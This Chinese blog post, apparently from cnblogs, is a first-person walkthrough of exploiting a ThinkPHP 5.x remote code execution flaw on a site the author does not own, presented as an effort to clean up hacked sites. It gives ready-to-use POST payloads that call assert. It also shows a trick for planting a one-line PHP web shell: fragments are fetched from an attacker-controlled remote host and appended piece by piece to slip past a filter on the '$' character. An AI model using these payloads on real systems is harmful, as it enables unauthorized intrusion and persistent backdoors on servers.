今天打算做点好事,看看有没有被别人黑掉的站,修复一波。刚刚好,找到一个。用goby一扫,thinkphp5.x漏洞
验证了一下,是没有问题的
然后准备用工具写下shell
发现根本不行,看来还是得手动测试..
这个漏洞我通过抓goby的包,发现他是这样利用的.
网址:xxxxx.com/?s=captcha
POST数据:_method=__construct&filter[0]=phpinfo&method=GET&get[0]=11111
其中fiflter[0]是函数名 ,get[0]是参数
我通过PHPINFO的查看,发现系统禁用了所有的命令执行函数
看样子从系统命令写文件出去是没办法了...
之后打算用fputs(fopen("x.php","w"),"<?php assert($_POST['x'])?>");
这样子来写入,post数据包就是这样子.
_method=__construct&filter[0]=assert&method=GET&get[0]=fputs(fopen("x.php","w"),"<?php assert($_POST['x'])?>");
但是我发现,只要get[0]参数里带了$号,就执行失败..我寻思,这样的话不就无法定义变量了。那怎么搞一句话木马;
然后我就乱试啊! 试include远程包含,无果,再试file_get_contents() 这样操作,发现获取的是远程服务器的信息,并不能在本地运行.
之后想到一个方法,我们是不是可以用fwrite a+的方式来 一个一个写进去.二话不说直接开干!
自己随便找个网站,无限制写入的。然后我这边就 http://xxxx.com/1.php吧
_method=__construct&filter[0]=assert&method=GET&get[0]=fwrite(fopen("3.php","w"),fread(fopen('http://xxxx.com/1.php','r'),1000));
我们第一步:xxxx.com/1.php的内容改成< 然后burp那边点send。让这个rce漏洞执行一遍,把<写入到3.php里面
接着我们要记得,后面就把写入方式w改成a+了。
_method=__construct&filter[0]=assert&method=GET&get[0]=fwrite(fopen("3.php","a+"),fread(fopen('http://xxxx.com/1.php','r'),1000));
之后我们再把xxxx.com/1.php改成? 然后burp再执行一遍.
然后再改成php 再执行一遍
再改成eva 再执行一遍
后面再l ($
再_POS
再T['x']);?>
这样一波操作下来,我们发现,我们的数据没有被拦截还成功写入进去了。强!!!!
成功拿下!之后就是找到被挂马的,清除一下,修复漏洞,开溜!
标签:5.0,fopen,xxxx,get,23,Thinkphp,php,com,method From: https://www.cnblogs.com/mua888666mua/p/17155000.html